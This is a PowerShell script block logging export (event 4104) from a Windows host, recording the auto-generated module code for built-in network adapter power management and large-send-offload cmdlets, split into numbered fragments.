[ValidateNotNull()]
[ciminstance[]]
${InputObject},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${ArpOffload},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${D0PacketCoalescing},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${DeviceSleepOnDisconnect},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${NSOffload},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${RsnRekeyOffload},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${SelectiveSuspend},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${WakeOnMagicPacket},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${WakeOnPattern},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${NoRestart},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${PassThru},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[Alias('Session')]
[ValidateNotNullOrEmpty()]
[CimSession[]]
${CimSession},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[int]
${ThrottleLimit},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${AsJob})
DynamicParam {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper = $script:ObjectModelWrapper::new()
$__cmdletization_objectModelWrapper.Initialize($PSCmdlet, $script:ClassName, $script:ClassVersion, $script:ModuleVersion, $script:PrivateData)
if ($__cmdletization_objectModelWrapper -is [System.Management.Automation.IDynamicParameters])
{
([System.Management.Automation.IDynamicParameters]$__cmdletization_objectModelWrapper).GetDynamicParameters()
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Begin {
$__cmdletization_exceptionHasBeenThrown = $false
try
{
__cmdletization_BindCommonParameters $__cmdletization_objectModelWrapper $PSBoundParameters
$__cmdletization_objectModelWrapper.BeginProcessing()
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Process {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_queryBuilder = $__cmdletization_objectModelWrapper.GetQueryBuilder()
if ($PSBoundParameters.ContainsKey('Name') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${Name})
$__cmdletization_queryBuilder.FilterByProperty('Name', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('InterfaceDescription') -and (@('ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${InterfaceDescription})
$__cmdletization_queryBuilder.FilterByProperty('InterfaceDescription', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('IncludeHidden') -and (@('ByName', 'ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_queryBuilder.AddQueryOption('IncludeHidden', ${IncludeHidden})
}
$__cmdletization_methodParameters = [System.Collections.Generic.List[Microsoft.PowerShell.Cmdletization.MethodParameter]]::new()
switch -exact ($PSCmdlet.ParameterSetName) {
{ @('ByName', 'ByInstanceID', 'InputObject (cdxml)') -contains $_ } {
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_de
ScriptBlock ID: 3a8cc59a-0d73-4bc5-9ab9-ee8f655e3ce2
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1929 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4476 | 1496 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:16:09 AM | dfeadd90-ee34-0002-97fe-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (1 of 4):
#requires -version 3.0
try { Microsoft.PowerShell.Core\Set-StrictMode -Off } catch { }
$script:MyModule = $MyInvocation.MyCommand.ScriptBlock.Module
$script:ClassName = 'ROOT/StandardCimv2/MSFT_NetAdapterPowerManagementSettingData'
$script:ClassVersion = '1.0.0'
$script:ModuleVersion = '1.0'
$script:ObjectModelWrapper = [Microsoft.PowerShell.Cmdletization.Cim.CimCmdletAdapter]
$script:PrivateData = [System.Collections.Generic.Dictionary[string,string]]::new()
Microsoft.PowerShell.Core\Export-ModuleMember -Function @()
function __cmdletization_BindCommonParameters
{
param(
$__cmdletization_objectModelWrapper,
$myPSBoundParameters
)
if ($myPSBoundParameters.ContainsKey('CimSession')) {
$__cmdletization_objectModelWrapper.PSObject.Properties['CimSession'].Value = $myPSBoundParameters['CimSession']
}
if ($myPSBoundParameters.ContainsKey('ThrottleLimit')) {
$__cmdletization_objectModelWrapper.PSObject.Properties['ThrottleLimit'].Value = $myPSBoundParameters['ThrottleLimit']
}
if ($myPSBoundParameters.ContainsKey('AsJob')) {
$__cmdletization_objectModelWrapper.PSObject.Properties['AsJob'].Value = $myPSBoundParameters['AsJob']
}
}
function Get-NetAdapterPowerManagement
{
[CmdletBinding(DefaultParameterSetName='ByName', PositionalBinding=$false)]
[OutputType([Microsoft.Management.Infrastructure.CimInstance])]
[OutputType('Microsoft.Management.Infrastructure.CimInstance#ROOT/StandardCimv2/MSFT_NetAdapterPowerManagementSettingData')]
param(
[Parameter(ParameterSetName='ByName', Position=0, ValueFromPipelineByPropertyName=$true)]
[Alias('ifAlias','InterfaceAlias')]
[ValidateNotNull()]
[string[]]
${Name},
[Parameter(ParameterSetName='ByInstanceID', Mandatory=$true, ValueFromPipelineByPropertyName=$true)]
[Alias('ifDesc','InstanceID')]
[ValidateNotNull()]
[string[]]
${InterfaceDescription},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[switch]
${IncludeHidden},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Alias('Session')]
[ValidateNotNullOrEmpty()]
[CimSession[]]
${CimSession},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[int]
${ThrottleLimit},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[switch]
${AsJob})
DynamicParam {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper = $script:ObjectModelWrapper::new()
$__cmdletization_objectModelWrapper.Initialize($PSCmdlet, $script:ClassName, $script:ClassVersion, $script:ModuleVersion, $script:PrivateData)
if ($__cmdletization_objectModelWrapper -is [System.Management.Automation.IDynamicParameters])
{
([System.Management.Automation.IDynamicParameters]$__cmdletization_objectModelWrapper).GetDynamicParameters()
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Begin {
$__cmdletization_exceptionHasBeenThrown = $false
try
{
__cmdletization_BindCommonParameters $__cmdletization_objectModelWrapper $PSBoundParameters
$__cmdletization_objectModelWrapper.BeginProcessing()
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Process {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_queryBuilder = $__cmdletization_objectModelWrapper.GetQueryBuilder()
if ($PSBoundParameters.ContainsKey('Name') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${Name})
$__cmdletization_queryBuilder.FilterByProperty('Name', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('InterfaceDescription') -and (@('ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${InterfaceDescription})
$__cmdletization_queryBuilder.FilterByProperty('InterfaceDescription', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('IncludeHidden') -and (@('ByName', 'ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_queryBuilder.AddQueryOption('IncludeHidden', ${IncludeHidden})
}
$__cmdletization_objectModelWrapper.ProcessRecord($__cmdletization_queryBuilder)
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
End {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper.EndProcessing()
}
}
catch
{
throw
}
}
# .EXTERNALHELP MSFT_NetAdapterPowerManagement.cmdletDefinition.cdxml-Help.xml
}
Microsoft.PowerShell.Core\Export-ModuleMember -Function 'Get-NetAdapterPowerManagement' -Alias '*'
function Set-NetAdapterPowerManagement
{
[CmdletBinding(DefaultParameterSetName='ByName', SupportsShouldProcess=$true, ConfirmImpact='Low', PositionalBinding=$false)]
[OutputType([Microsoft.Management.Infrastructure.CimInstance])]
[OutputType('Microsoft.Management.Infrastructure.CimInstance#ROOT/StandardCimv2/MSFT_NetAdapterPowerManagementSettingData')]
param(
[Parameter(ParameterSetName='ByName', Mandatory=$true, Position=0, ValueFromPipelineByPropertyName=$true)]
[Alias('ifAlias','InterfaceAlias')]
[ValidateNotNull()]
[string[]]
${Name},
[Parameter(ParameterSetName='ByInstanceID', Mandatory=$true, ValueFromPipelineByPropertyName=$true)]
[Alias('ifDesc','InstanceID')]
[ValidateNotNull()]
[string[]]
${InterfaceDescription},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[switch]
${IncludeHidden},
[Parameter(ParameterSetName='InputObject (cdxml)', Mandatory=$true, ValueFromPipeline=$true)]
[PSTypeName('Microsoft.Management.Infrastructure.CimInstance#MSFT_NetAdapterPowerManagementSettingData')]
[ValidateNotNull()]
[ciminstance[]]
${InputObject},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[ValidateNotNull()]
[ValidateNotNullOrEmpty()]
[ValidateSet('Enabled','Disabled')]
[Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetAdapterPowerManagement.Setting]
${ArpOffload},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[ValidateNotNull()]
[ValidateNotNullOrEmpty()]
[ValidateSet('Enabled','Disabled')]
[Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetAdapterPowerManagement.Setting]
${D0PacketCoalescing},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[ValidateNotNull()]
[ValidateNotNullOrEmpty()]
[ValidateSet('Enabled','Disabled')]
[Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetAdapterPowerManagement.Setting]
${DeviceSleepOnDisconnect},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[ValidateNotNull()]
[ValidateNotNullOrEmpty()]
[ValidateSet('Enabled','Disabled')]
[Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetAdapterPowerManagement.Setting]
${NSOffload},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[ValidateNotNull()]
[ValidateNotNullOrEmpty()]
[ValidateSet('Enabled','Disabled')]
[Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetAdapterPowerManagement.Setting]
${RsnRekeyOffload},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[ValidateNotNull()]
[ValidateNotNullOrEmpty()]
[ValidateSet('Enabled','Disabled')]
[Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetAdapterPowerManagement.Setting]
${SelectiveSuspend},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[ValidateNotNull()]
[ValidateNotNullOrEmpty()]
[ValidateSet('Enabled','Disabled')]
[Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetAdapterPowerManagement.Setting]
${WakeOnMagicPacket},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[ValidateNotNull()]
[ValidateNotNullOrEmpty()]
[ValidateSet('Enabled','Disabled')]
[Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetAdapterPowerManagement.Setting]
${WakeOnPattern},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${NoRestart},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[Alias('Session')]
[ValidateNotNullOrEmpty()]
[CimSession[]]
${CimSession},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[int]
${ThrottleLimit},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${AsJob},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${PassThru})
DynamicParam {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper = $script:ObjectModelWrapper::new()
$__cmdletization_objectModelWrapper.Initialize($PSCmdlet, $script:ClassName, $script:ClassVersion, $script:ModuleVersion, $script:PrivateData)
if ($__cmdletization_objectModelWrapper -is [System.Management.Automation.IDynamicParameters])
{
([System.Management.Automation.IDynamicParameters]$__cmdletization_objectModelWrapper).GetDynamicParameters()
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Begin {
$__cmdletization_exceptionHasBeenThrown = $false
try
{
__cmdletization_BindCommonParameters $__cmdletization_objectModelWrapper $PSBoundParameters
$__cmdletization_objectModelWrapper.BeginProcessing()
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Process {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_queryBuilder = $__cmdletization_objectModelWrapper.GetQueryBuilder()
if ($PSBoundParameters.ContainsKey('Name') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${Name})
$__cmdletization_queryBuilder.FilterByProperty('Name', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('InterfaceDescription') -and (@('ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${InterfaceDescription})
$__cmdletization_queryBuilder.FilterByProperty('InterfaceDescription', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('IncludeHidden') -and (@('ByName', 'ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_queryBuilder.AddQueryOption('IncludeHidden', ${IncludeHidden})
}
$__cmdletization_methodParameters = [System.Collections.Generic.List[Microsoft.PowerShell.Cmdletization.MethodParameter]]::new()
switch -exact ($PSCmdlet.ParameterSetName) {
{ @('ByName', 'ByInstanceID', 'InputObject (cdxml)') -contains $_ } {
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('ArpOffload')) {
[object]$__cmdletization_value = ${ArpOffload}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'ArpOffload'; ParameterType = 'Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetAdapterPowerManagement.Setting'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'ArpOffload'; ParameterType = 'Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetAdapterPowerManagement.Setting'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('D0PacketCoalescing')) {
[object]$__cmdletization_value = ${D0PacketCoalescing}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'D0PacketCoalescing'; ParameterType = 'Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetAdapterPowerManagement.Setting'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'D0Pack
ScriptBlock ID: 3a8cc59a-0d73-4bc5-9ab9-ee8f655e3ce2
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1928 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4476 | 1496 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:16:09 AM | dfeadd90-ee34-0002-97fe-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (3 of 3):
ptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper.EndProcessing()
}
}
catch
{
throw
}
}
# .EXTERNALHELP MSFT_NetAdapterLso.cdxml-Help.xml
}
Microsoft.PowerShell.Core\Export-ModuleMember -Function 'Enable-NetAdapterLso' -Alias '*'
function Disable-NetAdapterLso
{
[CmdletBinding(DefaultParameterSetName='ByName', SupportsShouldProcess=$true, ConfirmImpact='Medium', PositionalBinding=$false)]
[OutputType([Microsoft.Management.Infrastructure.CimInstance])]
param(
[Parameter(ParameterSetName='ByName', Mandatory=$true, Position=0, ValueFromPipelineByPropertyName=$true)]
[Alias('ifAlias','InterfaceAlias')]
[ValidateNotNull()]
[string[]]
${Name},
[Parameter(ParameterSetName='ByInstanceID', Mandatory=$true, ValueFromPipelineByPropertyName=$true)]
[Alias('ifDesc','InstanceID')]
[ValidateNotNull()]
[string[]]
${InterfaceDescription},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[switch]
${IncludeHidden},
[Parameter(ParameterSetName='InputObject (cdxml)', Mandatory=$true, ValueFromPipeline=$true)]
[PSTypeName('Microsoft.Management.Infrastructure.CimInstance#MSFT_NetAdapterLsoSettingData')]
[ValidateNotNull()]
[ciminstance[]]
${InputObject},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[ValidateNotNull()]
[ValidateNotNullOrEmpty()]
[switch]
${IPv4},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[ValidateNotNull()]
[ValidateNotNullOrEmpty()]
[switch]
${IPv6},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${NoRestart},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${PassThru},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[Alias('Session')]
[ValidateNotNullOrEmpty()]
[CimSession[]]
${CimSession},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[int]
${ThrottleLimit},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${AsJob})
DynamicParam {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper = $script:ObjectModelWrapper::new()
$__cmdletization_objectModelWrapper.Initialize($PSCmdlet, $script:ClassName, $script:ClassVersion, $script:ModuleVersion, $script:PrivateData)
if ($__cmdletization_objectModelWrapper -is [System.Management.Automation.IDynamicParameters])
{
([System.Management.Automation.IDynamicParameters]$__cmdletization_objectModelWrapper).GetDynamicParameters()
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Begin {
$__cmdletization_exceptionHasBeenThrown = $false
try
{
__cmdletization_BindCommonParameters $__cmdletization_objectModelWrapper $PSBoundParameters
$__cmdletization_objectModelWrapper.BeginProcessing()
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Process {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_queryBuilder = $__cmdletization_objectModelWrapper.GetQueryBuilder()
if ($PSBoundParameters.ContainsKey('Name') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${Name})
$__cmdletization_queryBuilder.FilterByProperty('Name', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('InterfaceDescription') -and (@('ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${InterfaceDescription})
$__cmdletization_queryBuilder.FilterByProperty('InterfaceDescription', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('IncludeHidden') -and (@('ByName', 'ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_queryBuilder.AddQueryOption('IncludeHidden', ${IncludeHidden})
}
$__cmdletization_methodParameters = [System.Collections.Generic.List[Microsoft.PowerShell.Cmdletization.MethodParameter]]::new()
switch -exact ($PSCmdlet.ParameterSetName) {
{ @('ByName', 'ByInstanceID', 'InputObject (cdxml)') -contains $_ } {
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('IPv4')) {
[object]$__cmdletization_value = ${IPv4}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'IPv4'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'IPv4'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('IPv6')) {
[object]$__cmdletization_value = ${IPv6}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'IPv6'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'IPv6'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('NoRestart')) {
[object]$__cmdletization_value = ${NoRestart}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:NoRestart'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:NoRestart'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('PassThru')) {
[object]$__cmdletization_value = ${PassThru}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:PassThru'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:PassThru'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'CmdletOutput'; ParameterType = 'Microsoft.Management.Infrastructure.CimInstance'; Bindings = 'Out'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
$__cmdletization_returnValue = $null
$__cmdletization_methodInvocationInfo = [Microsoft.PowerShell.Cmdletization.MethodInvocationInfo]::new('Disable', $__cmdletization_methodParameters, $__cmdletization_returnValue)
$__cmdletization_passThru = $false
if ($PSBoundParameters.ContainsKey('InputObject')) {
foreach ($x in $InputObject) { $__cmdletization_objectModelWrapper.ProcessRecord($x, $__cmdletization_methodInvocationInfo, $__cmdletization_PassThru) }
} else {
$__cmdletization_objectModelWrapper.ProcessRecord($__cmdletization_queryBuilder, $__cmdletization_methodInvocationInfo, $__cmdletization_PassThru)
}
}
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
End {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper.EndProcessing()
}
}
catch
{
throw
}
}
# .EXTERNALHELP MSFT_NetAdapterLso.cdxml-Help.xml
}
Microsoft.PowerShell.Core\Export-ModuleMember -Function 'Disable-NetAdapterLso' -Alias '*'
ScriptBlock ID: 82795d95-a9c6-4354-afb6-95d6012201f0
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1927 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4476 | 1496 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:16:09 AM | dfeadd90-ee34-0004-1e29-ebdf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (2 of 3):
ation.MethodParameter]@{Name = 'IPv6Enabled'; ParameterType = 'System.Boolean'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'IPv6Enabled'; ParameterType = 'System.Boolean'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('NoRestart')) {
[object]$__cmdletization_value = ${NoRestart}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:NoRestart'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
